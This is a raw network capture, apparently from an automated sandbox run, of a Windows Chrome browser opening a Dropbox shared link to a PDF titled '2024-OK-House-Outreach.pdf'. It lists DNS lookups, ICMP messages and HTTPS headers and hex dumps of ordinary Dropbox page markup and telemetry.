Dec 27, 2024 23:26:04.419126987 CET	53	55100	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:04.419980049 CET	53	51093	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:05.722342968 CET	49652	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:05.722527981 CET	52492	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:05.848155022 CET	53	62207	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:05.859219074 CET	53	52492	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:05.859428883 CET	53	49652	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:05.861844063 CET	53	61344	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:08.289603949 CET	57534	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:08.289799929 CET	54315	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:08.426531076 CET	53	54315	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:08.433221102 CET	53	57534	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:13.128957987 CET	49717	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:13.129086971 CET	58827	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:13.262976885 CET	53	55852	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:13.639823914 CET	53	58827	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:13.639854908 CET	53	49717	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:16.267431021 CET	61568	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:16.267550945 CET	57015	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:16.284173012 CET	58455	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:16.284359932 CET	64058	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:16.405201912 CET	53	57015	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:16.406723022 CET	53	61568	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:16.497415066 CET	53	64058	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:16.507626057 CET	53	58455	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:16.606722116 CET	55098	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:16.607100964 CET	59128	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:16.745621920 CET	53	59128	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:16.746857882 CET	59495	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:16.807720900 CET	53	55098	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:16.885638952 CET	53	59495	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:16.970843077 CET	65181	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:17.110358000 CET	53	65181	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:18.845774889 CET	51988	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:18.845901012 CET	50402	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:18.983671904 CET	53	50402	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:18.983683109 CET	53	51988	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:34.435000896 CET	53	57451	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:36.321616888 CET	53	54030	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:39.483477116 CET	138	138	192.168.2.16	192.168.2.255
Dec 27, 2024 23:26:42.345360041 CET	51703	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:42.345534086 CET	57002	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:42.485090017 CET	53	51703	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:42.626861095 CET	53	57002	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:45.638942957 CET	60886	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:45.639216900 CET	51243	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:45.776591063 CET	53	60886	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:45.776695967 CET	53	51243	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:46.209274054 CET	54060	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:46.209994078 CET	57608	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:46.513156891 CET	53	54060	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:46.513875961 CET	53	57608	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:46.516417027 CET	55133	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:46.516561031 CET	53317	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:46.654382944 CET	53	53317	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:46.654531002 CET	53	55133	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:48.954498053 CET	65512	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:48.954746962 CET	61646	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:49.093446016 CET	53	65512	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:49.093457937 CET	53	61646	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:49.766933918 CET	62969	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:49.767066956 CET	57006	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:49.904022932 CET	53	62969	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:49.904047012 CET	53	57006	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:55.941463947 CET	61088	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:55.942548990 CET	64053	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:26:56.080060005 CET	53	64053	1.1.1.1	192.168.2.16
Dec 27, 2024 23:26:56.080144882 CET	53	61088	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:02.979470968 CET	49954	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:27:02.979754925 CET	62152	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:27:03.117942095 CET	53	49954	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:03.117960930 CET	53	62152	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:04.724718094 CET	53247	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:27:04.724868059 CET	57020	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:27:04.861757994 CET	53	57020	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:04.862689018 CET	53	53247	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:05.141386032 CET	61524	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:27:05.141551018 CET	59373	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:27:05.278750896 CET	53	59373	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:05.278892994 CET	53	61524	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:06.591140032 CET	64801	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:27:06.591268063 CET	60710	53	192.168.2.16	1.1.1.1
Dec 27, 2024 23:27:06.728575945 CET	53	64801	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:06.728743076 CET	53	60710	1.1.1.1	192.168.2.16
Dec 27, 2024 23:27:07.444454908 CET	53	57760	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 23:25:53.543921947 CET	192.168.2.16	1.1.1.1	c267	(Port unreachable)	Destination Unreachable
Dec 27, 2024 23:26:42.626944065 CET	192.168.2.16	1.1.1.1	c254	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:36 UTC	762	OUT	GET /scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 HTTP/1.1 Host: www.dropbox.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-27 22:25:37 UTC	4042	IN	HTTP/1.1 200 OK Content-Security-Policy: media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-ancestors 'self' https://.dropbox.com ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js 'nonce-yrv5IWMbX0yt9EMNX7gYt/Ia4ww=' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; img-src https://* data: blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spread [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-yrv5IWMbX0yt9EMNX7gYt/Ia4ww=' 'nonce-T14WzA8X+BtUbA1cqeTxpAhwgsU=' Content-Type: text/html; charset=utf-8 Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; Path=/; Expires=Wed, 26 Dec 2029 22:25:37 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; Path=/; Domain=dropbox.com; Expires=Sat, 27 Dec 2025 22:25:37 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; Path=/; Expires=Sat, 27 Dec 2025 22:25:37 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=Ywp98KLYBQ; Path=/; Expires=Sat, 27 Dec 2025 22:25:37 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Wed, 26 Dec 2029 22:25:37 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Date: Fri, 27 Dec 2024 22:25:37 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: cc81d9e367a94713b7cc03c3413aa45b Connection: close Transfer-Encoding: chunked
2024-12-27 22:25:37 UTC	296	IN	Data Raw: 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6d 61 65 73 74 72 6f 20 67 6c 6f 62 61 6c 2d 68 65 61 64 65 72 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0d 0a 36 0d 0a 3c 68 65 61 64 3e 0d 0a 31 39 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 0d 0a 34 31 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6d 61 67 65 69 6e 64 65 78 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 2f 3e 0a 0d 0a 34 37 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 Data Ascii: 64<!DOCTYPE html><html class="maestro global-header" xmlns="http://www.w3.org/1999/xhtml" lang="en">6<head>19<meta charset="utf-8" />41<meta content="noindex, nofollow, noimageindex" name="robots" />47<meta content="width=device-widt
2024-12-27 22:25:37 UTC	671	IN	Data Raw: 63 36 0d 0a 3c 6e 6f 73 63 72 69 70 74 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 2f 73 63 6c 2f 66 69 2f 6c 6e 63 67 73 6d 37 36 6b 37 6c 35 69 78 37 66 75 75 35 74 36 2f 32 30 32 34 2d 4f 4b 2d 48 6f 75 73 65 2d 4f 75 74 72 65 61 63 68 2e 70 64 66 3f 64 6c 3d 30 26 61 6d 70 3b 6e 6f 73 63 72 69 70 74 3d 31 26 61 6d 70 3b 72 6c 6b 65 79 3d 6f 34 71 72 35 30 7a 70 64 77 31 7a 31 34 6f 36 69 6b 64 67 36 7a 6a 74 38 26 61 6d 70 3b 73 74 3d 6c 72 6c 6f 79 7a 6c 6f 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 2f 3e 0a 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 0d 0a 37 34 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 79 72 76 35 49 57 4d 62 58 30 79 74 39 45 4d 4e 58 37 67 59 74 2f 49 61 34 77 77 3d 22 3e 77 69 Data Ascii: c6<noscript><meta content="0;url=/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?dl=0&noscript=1&rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo" http-equiv="refresh" /></noscript>74<script nonce="yrv5IWMbX0yt9EMNX7gYt/Ia4ww=">wi
2024-12-27 22:25:37 UTC	377	IN	Data Raw: 62 64 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 73 70 65 63 74 72 75 6d 2f 69 6e 64 65 78 2e 77 65 62 2d 76 66 6c 77 76 73 65 67 76 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 62 30 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f Data Ascii: bd<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/spectrum/index.web-vflwvsegv.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>b0<link rel="preload" href="https://cfl.dropboxstatic.com/
2024-12-27 22:25:37 UTC	187	IN	Data Raw: 62 35 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 66 6f 75 6e 64 61 74 69 6f 6e 2d 76 66 6c 48 36 77 77 77 76 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a Data Ascii: b5<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/foundation-vflH6wwwv.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>
2024-12-27 22:25:37 UTC	420	IN	Data Raw: 64 32 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 74 79 70 65 73 63 72 69 70 74 2f 63 6f 6d 70 6f 6e 65 6e 74 5f 6c 69 62 72 61 72 69 65 73 2f 64 69 67 2d 65 78 70 65 72 69 6d 65 6e 74 61 6c 2f 73 72 63 2f 69 6e 64 65 78 2e 77 65 62 2d 76 66 6c 4d 67 6b 56 33 4b 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 63 36 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 Data Ascii: d2<link rel="preload" href="https://cfl.dropboxstatic.com/static/typescript/component_libraries/dig-experimental/src/index.web-vflMgkV3K.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>c6<link rel="preload" href="https://c
2024-12-27 22:25:37 UTC	186	IN	Data Raw: 62 34 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 64 69 67 2f 66 6f 6e 74 73 2d 76 66 6c 4d 48 75 53 45 43 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a Data Ascii: b4<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/dig/fonts-vflMHuSEC.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>
2024-12-27 22:25:37 UTC	200	IN	Data Raw: 63 32 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 6d 61 65 73 74 72 6f 5f 61 70 70 73 68 65 6c 6c 5f 73 74 79 6c 65 73 2d 76 66 6c 66 4e 4e 4c 56 35 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a Data Ascii: c2<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/maestro_appshell_styles-vflfNNLV5.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>
2024-12-27 22:25:37 UTC	789	IN	Data Raw: 63 30 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 64 69 67 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2f 74 6f 6b 65 6e 73 2d 76 66 6c 74 6b 55 6a 57 4a 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 62 31 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 Data Ascii: c0<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/dig-components/tokens-vfltkUjWJ.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>b1<link rel="preload" href="https://cfl.dropboxstatic.c
2024-12-27 22:25:37 UTC	934	IN	Data Raw: 62 39 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 67 6f 6f 67 6c 65 5f 6f 6e 65 5f 74 61 70 2d 76 66 6c 70 39 58 44 4c 4a 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 61 64 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 Data Ascii: b9<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/google_one_tap-vflp9XDLJ.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>ad<link rel="preload" href="https://cfl.dropboxstatic.com/stat
2024-12-27 22:25:37 UTC	116	IN	Data Raw: 36 65 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 79 72 76 35 49 57 4d 62 58 30 79 74 39 45 4d 4e 58 37 67 59 74 2f 49 61 34 77 77 3d 22 3e 77 69 6e 64 6f 77 2e 43 53 50 5f 53 43 52 49 50 54 5f 4e 4f 4e 43 45 20 3d 20 22 79 72 76 35 49 57 4d 62 58 30 79 74 39 45 4d 4e 58 37 67 59 74 2f 49 61 34 77 77 3d 22 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6e<script nonce="yrv5IWMbX0yt9EMNX7gYt/Ia4ww=">window.CSP_SCRIPT_NONCE = "yrv5IWMbX0yt9EMNX7gYt/Ia4ww="</script>

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:44 UTC	994	OUT	GET /page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Flncgsm76k7l5ix7fuu5t6%2F2024-OK-House-Outreach.pdf&request_id=cc81d9e367a94713b7cc03c3413aa45b&time=1735338337 HTTP/1.1 Host: www.dropbox.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.dropbox.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:25:45 UTC	522	IN	HTTP/1.1 200 OK Content-Type: text/javascript X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Server-Response-Time: 2 Date: Fri, 27 Dec 2024 22:25:44 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: eaa60d01c88641d7baca42776f72c722 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:46 UTC	684	OUT	GET /page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Flncgsm76k7l5ix7fuu5t6%2F2024-OK-House-Outreach.pdf&request_id=cc81d9e367a94713b7cc03c3413aa45b&time=1735338337 HTTP/1.1 Host: www.dropbox.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:25:47 UTC	522	IN	HTTP/1.1 200 OK Content-Type: text/javascript X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Server-Response-Time: 0 Date: Fri, 27 Dec 2024 22:25:46 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: b5d86648807747b9aeb6d25b009b634a Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:54 UTC	742	OUT	POST /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1 Host: d.dropbox.com Connection: keep-alive Content-Length: 486 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
